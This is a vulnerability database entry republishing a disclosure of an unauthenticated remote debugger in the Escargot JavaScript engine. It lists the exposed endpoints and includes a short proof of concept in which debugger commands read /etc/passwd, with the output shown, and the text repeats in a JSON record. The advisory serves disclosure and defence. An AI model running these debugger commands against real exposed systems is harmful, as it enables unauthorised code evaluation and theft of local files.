GCVE-1988-2026-0081
Vulnerability from gna-1988 β Published: 2026-09-07 13:20 β Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure
Summary
An unauthenticated remote debugger vulnerability exists in Escargot
v4.3.0-214-gfaee4437 when the application is compiled with ESCARGOT_DEBUGGER
support and the debug server is enabled using --start-debug-server. The
debugger accepts client connections without authentication or authorization
and provides access to privileged debugger functionality.
An attacker capable of reaching the debugger interface can establish a
debugger session and evaluate JavaScript expressions within the target
runtime. Testing confirmed the vulnerability by executing
read("/etc/passwd") through the debugger and retrieving the contents of the
local file.
Technical Details
The vulnerability occurs because Escargot exposes remote debugger
HTTP/WebSocket endpoints without requiring authentication before
establishing a debugger session.
The exposed debugger routes include:
/escargot-debugger
/devtools/page/1
/json
/json/list
/json/version
Requests to the debugger WebSocket endpoints are routed to the WebSocket
handshake implementation. The handshake performs WebSocket protocol
negotiation but does not authenticate or authorize the connecting client
before providing access to debugger functionality.
Once connected, the debugger accepts evaluation commands that execute
JavaScript expressions within the target Escargot runtime.
The affected functionality is conditionally compiled with:
#ifdef ESCARGOT_DEBUGGER
and enabled at runtime using:
--start-debug-server
Root CauseNo authentication protecting the remote debugger No authorization
check before debugger access Network connectivity treated as sufficient
trust Privileged JavaScript evaluation exposed to debugger clients Debugger
helper functions expose local runtime resources
Impact
Unauthorized Debugger Access:
An unauthenticated client capable of reaching the debugger can
establish an interactive debugging session.
Arbitrary JavaScript Evaluation:
The connected client can submit JavaScript expressions for evaluation
within the target Escargot runtime.
Local File Disclosure:
Files accessible through exposed runtime helper functions can be
retrieved. Testing confirmed disclosure of /etc/passwd.
Runtime State Exposure:
An attacker may inspect interpreter state and interact with other
functionality exposed through the debugger.
The PoC demonstrates JavaScript evaluation and local file disclosure. It
does not, by itself, establish arbitrary operating-system command execution
or native code execution.
Proof of Concept
Start a debugger-enabled Escargot build with the remote debugger enabled
and connect using the debugger client.
The following debugger commands were used:
b /tmp/rdf.js:2
c
p read("/etc/passwd")
c
Output
Connecting to: localhost:6516
Connection created!!!
Stopped at /tmp/rdf.js:1
(escargot-debugger) b /tmp/rdf.js:2
Breakpoint 1 at /tmp/rdf.js:2
(escargot-debugger) c
Stopped at breakpoint:1 /tmp/rdf.js:2
(escargot-debugger) p read("/etc/passwd")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
(escargot-debugger) c
Print: debugger file read probe complete
Connection closed.
Server-side output confirmed that the debugger was listening and accepted
the connection:
Waiting for client connection 0.0.0.0:6516
Connected from: 127.0.0.1
debugger file read probe complete
The returned data matched the contents of /etc/passwd, confirming that the
debugger accepted an unauthenticated session, evaluated the supplied
JavaScript expression, and returned local file contents to the debugger
client.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Escargot",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "An unauthenticated remote debugger vulnerability exists in Escargot\nv4.3.0-214-gfaee4437 when the application is compiled with ESCARGOT_DEBUGGER\nsupport and the debug server is enabled using --start-debug-server. The\ndebugger accepts client connections without authentication or authorization\nand provides access to privileged debugger functionality.\n\nAn attacker capable of reaching the debugger interface can establish a\ndebugger session and evaluate JavaScript expressions within the target\nruntime. Testing confirmed the vulnerability by executing\nread(\"/etc/passwd\") through the debugger and retrieving the contents of the\nlocal file.\n\nTechnical Details\n\nThe vulnerability occurs because Escargot exposes remote debugger\nHTTP/WebSocket endpoints without requiring authentication before\nestablishing a debugger session.\n\nThe exposed debugger routes include:\n\n/escargot-debugger\n/devtools/page/1\n/json\n/json/list\n/json/version\n\nRequests to the debugger WebSocket endpoints are routed to the WebSocket\nhandshake implementation. The handshake performs WebSocket protocol\nnegotiation but does not authenticate or authorize the connecting client\nbefore providing access to debugger functionality.\n\nOnce connected, the debugger accepts evaluation commands that execute\nJavaScript expressions within the target Escargot runtime.\n\nThe affected functionality is conditionally compiled with:\n\n#ifdef ESCARGOT_DEBUGGER\n\nand enabled at runtime using:\n\n--start-debug-server\n\nRoot CauseNo authentication protecting the remote debugger No authorization\ncheck before debugger access Network connectivity treated as sufficient\ntrust Privileged JavaScript evaluation exposed to debugger clients Debugger\nhelper functions expose local runtime resources\n\nImpact\n\nUnauthorized Debugger Access:\nAn unauthenticated client capable of reaching the debugger can\nestablish an interactive debugging session.\n\nArbitrary JavaScript Evaluation:\nThe connected client can submit JavaScript expressions for evaluation\nwithin the target Escargot runtime.\n\nLocal File Disclosure:\nFiles accessible through exposed runtime helper functions can be\nretrieved. Testing confirmed disclosure of /etc/passwd.\n\nRuntime State Exposure:\nAn attacker may inspect interpreter state and interact with other\nfunctionality exposed through the debugger.\n\nThe PoC demonstrates JavaScript evaluation and local file disclosure. It\ndoes not, by itself, establish arbitrary operating-system command execution\nor native code execution.\n\nProof of Concept\n\nStart a debugger-enabled Escargot build with the remote debugger enabled\nand connect using the debugger client.\n\nThe following debugger commands were used:\n\nb /tmp/rdf.js:2\nc\np read(\"/etc/passwd\")\nc\n\nOutput\n\nConnecting to: localhost:6516\nConnection created!!!\n\nStopped at /tmp/rdf.js:1\n\n(escargot-debugger) b /tmp/rdf.js:2\nBreakpoint 1 at /tmp/rdf.js:2\n\n(escargot-debugger) c\nStopped at breakpoint:1 /tmp/rdf.js:2\n\n(escargot-debugger) p read(\"/etc/passwd\")\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n...\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\n\n(escargot-debugger) c\nPrint: debugger file read probe complete\nConnection closed.\n\nServer-side output confirmed that the debugger was listening and accepted\nthe connection:\n\nWaiting for client connection 0.0.0.0:6516\nConnected from: 127.0.0.1\n\ndebugger file read probe complete\n\nThe returned data matched the contents of /etc/passwd, confirming that the\ndebugger accepted an unauthenticated session, evaluated the supplied\nJavaScript expression, and returned local file contents to the debugger\nclient.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/109"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/109"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/109"
],
"discovery": "EXTERNAL"
},
"title": "Escargot v4.3.0-214-gfaee4437 Unauthenticated Remote Debugger Allows Arbitrary JavaScript Evaluation and Local File Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0081",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/109",
"automated": true,
"contentSha256": "28cd25d01ae4f1697daac4e44a6e8bccd50f4f79a2eb2e9f56308194335f7b3a",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/109",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:46:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0081"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦